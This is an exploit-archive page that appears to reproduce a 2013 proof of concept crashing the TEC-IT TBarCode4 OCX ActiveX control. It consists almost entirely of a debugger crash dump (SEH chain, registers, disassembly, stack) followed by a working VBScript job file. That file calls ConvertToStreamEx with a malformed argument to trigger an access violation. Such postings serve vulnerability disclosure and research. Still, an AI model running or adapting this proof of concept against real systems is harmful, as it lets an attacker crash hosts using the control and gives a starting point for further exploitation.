扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 |
# Exploit Title: TEC-IT TBarCode OCX ActiveX Control (TBarCode4.ocx 4.1.0 ) dos poc # Date: 29.7.2013 # Exploit Author: d3b4g # Vendor Homepage:http://www.tec-it.com/en/start/Default.aspx # Software Link: http://www.tec-it.com/en/start/Default.aspx # Tested on: Windows XP SP3 Exception Code: ACCESS_VIOLATION Disasm: 7785DFE4 CMP BYTE PTR [EAX+7],5 (ntdll.dll) Seh Chain: -------------------------------------------------- 1 3C5744 TBarCode4.OCX 2 5AFCD959 VBSCRIPT.dll 3 778A71D5 ntdll.dll Called From Returns To -------------------------------------------------- ntdll.7785DFE4KERNEL32.765614DD KERNEL32.765614DD TBarCode4.3C0D31 TBarCode4.3C0D31TBarCode4.39205E TBarCode4.39205EOLEAUT32.76B83E75 OLEAUT32.76B83E75 OLEAUT32.76B83CEF OLEAUT32.76B83CEF OLEAUT32.76B8052F OLEAUT32.76B8052F TBarCode4.3BC65B TBarCode4.3BC65BVBSCRIPT.5AF927E5 VBSCRIPT.5AF927E5 VBSCRIPT.5AF93737 VBSCRIPT.5AF93737 VBSCRIPT.5AF951AE VBSCRIPT.5AF951AE VBSCRIPT.5AF950CA VBSCRIPT.5AF950CA VBSCRIPT.5AF955A5 VBSCRIPT.5AF955A5 VBSCRIPT.5AF95951 VBSCRIPT.5AF95951 VBSCRIPT.5AF9417A VBSCRIPT.5AF9417A SCROBJ.5ABD831F SCROBJ.5ABD831F SCROBJ.5ABD99D3 SCROBJ.5ABD99D3 SCROBJ.5ABD986E SCROBJ.5ABD986E SCROBJ.5ABD980B SCROBJ.5ABD980B SCROBJ.5ABD97D0 SCROBJ.5ABD97D0 E140CD E140CDE06B44 E06B44E033B4 E033B4E03189 E03189E030FA E030FAE02F93 E02F93KERNEL32.765633AA KERNEL32.765633AA ntdll.77869EF2 ntdll.77869EF2ntdll.77869EC5 Registers: -------------------------------------------------- EIP 7785DFE4 EAX 00000178 EBX 00000180 ECX 0038EB34 -> 0038F9B4 EDX 0045685A -> 00030000 EDI 00000000 ESI 005B0000 -> F9F249C7 EBP 0038E0D4 -> 0038E0E8 ESP 0038E0C4 -> 00000180 Block Disassembly: -------------------------------------------------- 7785DFC8 JNZ 77863481 7785DFCE TEST BYTE PTR [ESI+48],1 7785DFD2 JNZ 778642B3 7785DFD8 TEST BL,7 7785DFDB JNZ 778ADFE9 7785DFE1 LEA EAX,[EBX-8] 7785DFE4 CMP BYTE PTR [EAX+7],5 <--- CRASH 7785DFE8 JE 778ADFD2 7785DFEE TEST BYTE PTR [EAX+7],3F 7785DFF2 JE 778ADFE0 7785DFF8 MOV [EBP-4],EAX 7785DFFB CMP EAX,EDI 7785DFFD JE 778AE053 7785E003 CMP BYTE PTR [EBX-1],5 7785E007 JE 778ADFFC ArgDump: -------------------------------------------------- EBP+8 005B0000 -> F9F249C7 EBP+12 00000000 EBP+16 00000180 EBP+20 0038E130 -> 0038E4F4 EBP+24 003C0D31 -> 64F04D8B EBP+28 005B0000 -> F9F249C7 Stack Dump: -------------------------------------------------- 38E0C4 80 01 00 00 C0 E3 38 00 00 00 00 00 00 00 00 00[................] 38E0D4 E8 E0 38 00 DD 14 56 76 00 00 5B 00 00 00 00 00[......Vv..[.....] 38E0E4 80 01 00 00 30 E1 38 00 31 0D 3C 00 00 00 5B 00[..............[.] 38E0F4 00 00 00 00 80 01 00 00 C0 E3 38 00 B8 E3 38 00[................] 38E104 00 00 00 00 00 00 00 00 4A 3C 86 77 33 00 00 00[........J..w....] +-- Poc <?XML version='1.0' standalone='yes' ?> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:2FD4F344-D857-4853-BC2F-88D5863BDB57' id='target' /> <script language='vbscript'> targetFile = "C:\Users\Administrator\Desktop\TBarCode4.ocx" prototype= "Function ConvertToStreamEx ( ByVal hDC As Long ,ByVal eImageType As tag_ImageType ,ByVal nQuality As Long ,ByVal nXSize As Long ,ByVal nYSize As Long ,ByVal nXRes As Long ,ByVal nYRes As Long )" memberName = "ConvertToStreamEx" progid = "TBARCODE4Lib.TBarCode4" argCount = 7 arg1=1 arg2=1 arg3=1 arg4=1 arg5=1 arg6=1 arg7=-2147483647 target.ConvertToStreamEx arg1 ,arg2 ,arg3 ,arg4 ,arg5 ,arg6 ,arg7 </script></job></package> -end |
体验盒子
